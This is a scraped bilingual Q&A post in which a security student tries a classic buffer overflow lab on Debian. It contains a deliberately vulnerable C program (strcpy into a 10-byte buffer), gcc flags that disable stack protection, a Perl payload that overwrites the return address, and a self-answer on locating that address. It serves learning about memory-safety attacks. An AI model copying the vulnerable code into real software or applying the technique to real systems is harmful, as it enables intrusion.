尝试缓冲区溢出(Experimenting with buffer overflow)

编程入门 行业动态 更新时间:2024-10-18 12:31:34
尝试缓冲区溢出(Experimenting with buffer overflow)

我最近参加了一个安全类,其中我们简要介绍了缓冲区溢出。 我对我们所涵盖的内容并不满意,因此我查找了几个示例,并尝试自己并发现了缓冲区溢出攻击

我喜欢这个例子,因为它很容易理解为什么一切都有效。 我试图跟随,但在Debian虚拟机而不是Windows。

这是网站的C代码:

#pragma check_stack(off) #include <string.h> #include <stdio.h> void foo(const char* input) { char buf[10]; printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n% p\n\n"); strcpy(buf, input); printf("%s\n", buf); printf("Now the stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n"); } void bar(void) { printf("Augh! I've been hacked!\n"); } int main(int argc, char* argv[]) { //Blatant cheating to make life easier on myself printf("Address of foo = %p\n", foo); printf("Address of bar = %p\n", bar); if (argc != 2) { printf("Please supply a string as an argument!\n"); return -1; } foo(argv[1]); return 0; }

代码通过给出两个函数foo和bar的地址来“欺骗”。 最终目标是让bar只使用缓冲区溢出来运行。 为此,他们给出了一个简短的Perl脚本:

$arg = "ABCDEFGHIJKLMNOP"."\x50\x10\x40"; $cmd = "StackOverrun ".$arg; system($cmd);

由于我使用Linux而不是Windows,并且因为我的bar函数的地址略有不同,所以我做了几个简单的修复:

$arg = "ABCDEFGHIJKLMNOP"."\xf7\x05\x40"; $cmd = "./prog ".$arg; system($cmd);

我认为它应该像在他们的例子中那样工作; 运行Perl脚本,它将填充文本提供给程序,然后是运行bar的新返回地址。 但它对我不起作用。

这是运行我的Perl脚本的输出:

Address of foo: 0x400596 Address of bar: 0x4005f7 The current stack: 0x7fffe6b4abd8 0x7faba670c7a0 0x1d 0x6 0x7faba63b099a 0x7fffe6b4ad00 ABCDEFGHIJKLMNOPP� Stack after input: 0x7ffc31998568 0x7f9a7c6ed7a0 0x7f9a7c421e50 0xf70550504f4e4d4c 0x7f9a7c39199a 0x7ffc31998690

在我的输出中,看起来包含任何填充文本的唯一地址是最后一个地址的第三个地址,即返回地址之前的地址。

我怀疑问题来自于使用gcc编译我的程序,但我不确定究竟是什么导致它。 这个问题也可能是Debian。 这是我编译程序的方式:

gcc -z execstack -fno-stack-protector prog.c -o prog

我希望没有堆栈保护器的编译将允许我毫无问题地遵循示例。

任何帮助都会很棒,我完全陷入困境。 实际上我可以简单地切换到Windows,但此时我真的想知道为什么它不起作用以及如何解决它。

I recently took a security class in which we briefly touched on buffer overflow. I wasn't satisfied with what we covered, so I looked for a few examples to follow along with and try myself and found Buffer Overflow Attack

I like this example as it is easy to follow and understand why everything works. I tried to follow along, but in a Debian virtual machine instead of Windows.

This is the C code from the site:

#pragma check_stack(off) #include <string.h> #include <stdio.h> void foo(const char* input) { char buf[10]; printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n% p\n\n"); strcpy(buf, input); printf("%s\n", buf); printf("Now the stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n"); } void bar(void) { printf("Augh! I've been hacked!\n"); } int main(int argc, char* argv[]) { //Blatant cheating to make life easier on myself printf("Address of foo = %p\n", foo); printf("Address of bar = %p\n", bar); if (argc != 2) { printf("Please supply a string as an argument!\n"); return -1; } foo(argv[1]); return 0; }

The code "cheats" by giving the addresses of the two functions foo and bar. The ultimate goal is to get bar to run using only buffer overflow. To do this, they gave a short Perl script:

$arg = "ABCDEFGHIJKLMNOP"."\x50\x10\x40"; $cmd = "StackOverrun ".$arg; system($cmd);

Since I'm using Linux instead of Windows, and since the address of my bar function was slightly different, I made a couple of simple fixes:

$arg = "ABCDEFGHIJKLMNOP"."\xf7\x05\x40"; $cmd = "./prog ".$arg; system($cmd);

I would think that it should work the same way as it did in their example; the Perl script is run and it gives the filler text to the program, followed by the new return address to run bar. But it doesn't work for me.

This is the output from running my Perl script:

Address of foo: 0x400596 Address of bar: 0x4005f7 The current stack: 0x7fffe6b4abd8 0x7faba670c7a0 0x1d 0x6 0x7faba63b099a 0x7fffe6b4ad00 ABCDEFGHIJKLMNOPP� Stack after input: 0x7ffc31998568 0x7f9a7c6ed7a0 0x7f9a7c421e50 0xf70550504f4e4d4c 0x7f9a7c39199a 0x7ffc31998690

In my output, the only address that appears to hold any of the filler text is the third from the last address, the one immediately before the return address.

I suspect the issue comes from using gcc to compile my program, but I'm not sure what exactly is causing it. The issue may also be Debian. Here's how I compiled the program:

gcc -z execstack -fno-stack-protector prog.c -o prog

My hope was that compiling without the stack protector would allow me to follow the example without issues.

Any help would be great, I'm completely stuck. Realistically I could simply switch to Windows, but at this point I really want to know why it won't work and how to fix it.

最满意答案

好吧所以我将在这里回答我自己的问题,以防万一将来看到它的人都很好奇。

基本上问题源于没有打印足够的内存地址来获得清晰的堆栈图像。 如果您跟着问题中的链接,您会看到打印堆栈的6个内存地址对于他们的系统来说已经足够了,但这对我们来说还不够。 我的朋友建议改变源代码:

printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n% p\n\n"); strcpy(buf, input); printf("%s\n", buf); printf("Now the stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n");

对此:

printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n"); strcpy(buf, input); printf("Buffer: %s\n", buf); printf("Address of Buffer: %p\n\n", buf); printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");

这种变化对我们来说有两件事。 首先,它增加了打印到13的地址量。其次,它打印缓冲区开始的地址。 第二部分很重要,因为它给出了在给定的堆栈地址中查找的相对值。 例:

overflow@OVERFLOW:~/Overflow$ ./prog ZZZZZZ Address of foo = 0x400596 Address of bar = 0x400601 Current Stack: 0x7fffffe6 0x7f30b7f8a7a0 0x19 0x6 0x7f30b7c2e99a 0x4007c8 0x7ffddab72653 0x7f30b7f9cde0 0x7f30b81b01a8 0x7ffddab71250 0x400672 0x7ffddab71338 0x200000000 Buffer: ZZZZZZ Address of Buffer: 0x7ffddab71220 Stack after Input: 0x7fffffde 0x7f30b7f8a7a0 0x21 0xc 0x7f30b7c2e99a 0x4007c8 0x7ffddab72653 0x5a5a5a5a5a5a 0x7f30b81b01a8 0x7ffddab71250 0x400672 0x7ffddab71338 0x200000000

在这个例子中,我们可以看到Address of Buffer: 0x7ffddab71220 。 如果我们查看它下面的堆栈地址,我们会发现一个非常相似的: 0x7ffddab72653 。 我们可以将此视为缓冲区的起点,以便以下几个地址将成为缓冲区的存储容器。 事实上,在这个例子中,我将“ZZZZZZ”打印到缓冲区,你可以看到紧跟我们起点后的地址已经改为0x5a5a5a5a5a5a ,你可能已经猜到,这是十六进制的“ZZZZZZ”。

很好,所以现在我们知道缓冲区实际开始的位置,但我们不知道哪个是返回地址。 如果我们查看函数的地址:

Address of foo = 0x400596 Address of bar = 0x400601我们可以在缓冲区起始点之下找到一个类似的值,在这种情况下: 0x400672 。

此时我们知道我们需要的所有内容:哪些内存地址存储缓冲区,我们要调用的函数的地址,最重要的是我们要覆盖的返回地址。 此时,需要尝试使用perl脚本,在缓冲区中添加字符,直到获得所需的结果。

Alright so I'm going to answer my own question here, just in case anyone who views it in the future is curious.

Essentially the problem stemmed from not printing enough memory addresses to get a clear picture of the stack. If you followed along with the link in the question you'd see that printing 6 memory addresses of the stack was enough for their system, but it wasn't enough for ours. My friend proposed changing the source code from this:

printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n% p\n\n"); strcpy(buf, input); printf("%s\n", buf); printf("Now the stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n");

to this:

printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n"); strcpy(buf, input); printf("Buffer: %s\n", buf); printf("Address of Buffer: %p\n\n", buf); printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n");

This change does two things for us. First, it increases the amount of addresses printed to 13. Second, it prints the address that the buffer starts at. The second part is important as it gives us a relative value to look for in the stack addresses given. Example:

overflow@OVERFLOW:~/Overflow$ ./prog ZZZZZZ Address of foo = 0x400596 Address of bar = 0x400601 Current Stack: 0x7fffffe6 0x7f30b7f8a7a0 0x19 0x6 0x7f30b7c2e99a 0x4007c8 0x7ffddab72653 0x7f30b7f9cde0 0x7f30b81b01a8 0x7ffddab71250 0x400672 0x7ffddab71338 0x200000000 Buffer: ZZZZZZ Address of Buffer: 0x7ffddab71220 Stack after Input: 0x7fffffde 0x7f30b7f8a7a0 0x21 0xc 0x7f30b7c2e99a 0x4007c8 0x7ffddab72653 0x5a5a5a5a5a5a 0x7f30b81b01a8 0x7ffddab71250 0x400672 0x7ffddab71338 0x200000000

In this example we can see Address of Buffer: 0x7ffddab71220. If we look through the stack addresses below it, we find one very similar: 0x7ffddab72653. We can think of this as a starting point for the buffer, so that the following few addresses will be the storage containers of the buffer. In fact, in this example I printed "ZZZZZZ" to the buffer, and you can see the address immediately following our starting point has changed to 0x5a5a5a5a5a5a which, you may have guessed, is "ZZZZZZ" in hex.

Great, so now we know where the buffer actually starts, but we don't know which is the return address. If we look at the addresses of the functions:

Address of foo = 0x400596 and Address of bar = 0x400601 We can find a similar value somewhere below the starting point of our buffer, in this case: 0x400672.

At this point we know all we need to: which memory addresses store the buffer, the address of the function we want to call, and most importantly the return address we want to overwrite. At that point it is a matter of experimenting with the perl script, adding characters to the buffer until we get the desired result.

更多推荐

本文发布于:2023-07-16 13:26:00,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1128960.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:缓冲区   Experimenting   overflow   buffer

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!